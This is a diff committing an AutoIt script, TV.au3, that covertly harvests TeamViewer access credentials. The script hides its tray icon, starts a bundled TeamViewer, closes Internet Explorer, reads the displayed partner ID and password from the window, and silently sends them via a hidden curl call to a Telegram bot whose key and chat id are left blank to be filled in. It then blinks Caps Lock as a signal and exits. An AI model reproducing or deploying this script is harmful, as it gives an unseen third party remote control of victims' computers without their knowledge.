Загрузил(а) файлы в ''

TV.au3

@@ -0,0 +1,47 @@
+#NoTrayIcon
+
+$sBotKey = ''     						; Ваш api ключ бота
+$nChatId = '' 							; Id получателя
+$Curl = @ScriptDir & '\bin\curl.exe'
+Run(@ScriptDir & "\bin\TV\TeamViewer.exe")
+ProcessWait ("iexplore.exe")
+ProcessClose ("iexplore.exe")
+WinWait("TeamViewer","")
+WinActivate("TeamViewer","")
+WinWaitActive("TeamViewer","")
+While 1
+   $id = ControlGetText("TeamViewer","","[CLASS:Edit; INSTANCE:4]")
+   if $id = "-" Then
+	  Sleep(3000)
+   Else
+	  $password = ControlGetText("TeamViewer","","[CLASS:Edit; INSTANCE:5]")
+	  $smass = $id & '%20%20%20' &  $password
+	  $sOutput = StringRegExpReplace($smass, " ", "%20")
+	  Run($Curl & ' https://api.telegram.org/bot' & $sBotKey & '/sendMessage?chat_id=' & $nChatId & '&text=' & $sOutput, '', @SW_HIDE)
+	  For $i = 5 To 1 Step -1
+		 Send("{CAPSLOCK on}")
+		 Sleep(500)
+		 Send("{CAPSLOCK off}")
+		 Sleep(500)
+	  Next
+	  Exit
+   EndIf
+WEnd
+
+Func _URIEncode($sData)
+    Local $aData = StringSplit(BinaryToString(StringToBinary($sData,4),1),"")
+    Local $nChar
+    $sData=""
+    For $i = 1 To $aData[0]
+        $nChar = Asc($aData[$i])
+        Switch $nChar
+            Case 45, 46, 48 To 57, 65 To 90, 95, 97 To 122, 126
+                $sData &= $aData[$i]
+            Case 32
+                $sData &= "+"
+            Case Else
+                $sData &= "%" & Hex($nChar,2)
+        EndSwitch
+    Next
+    Return $sData
+EndFunc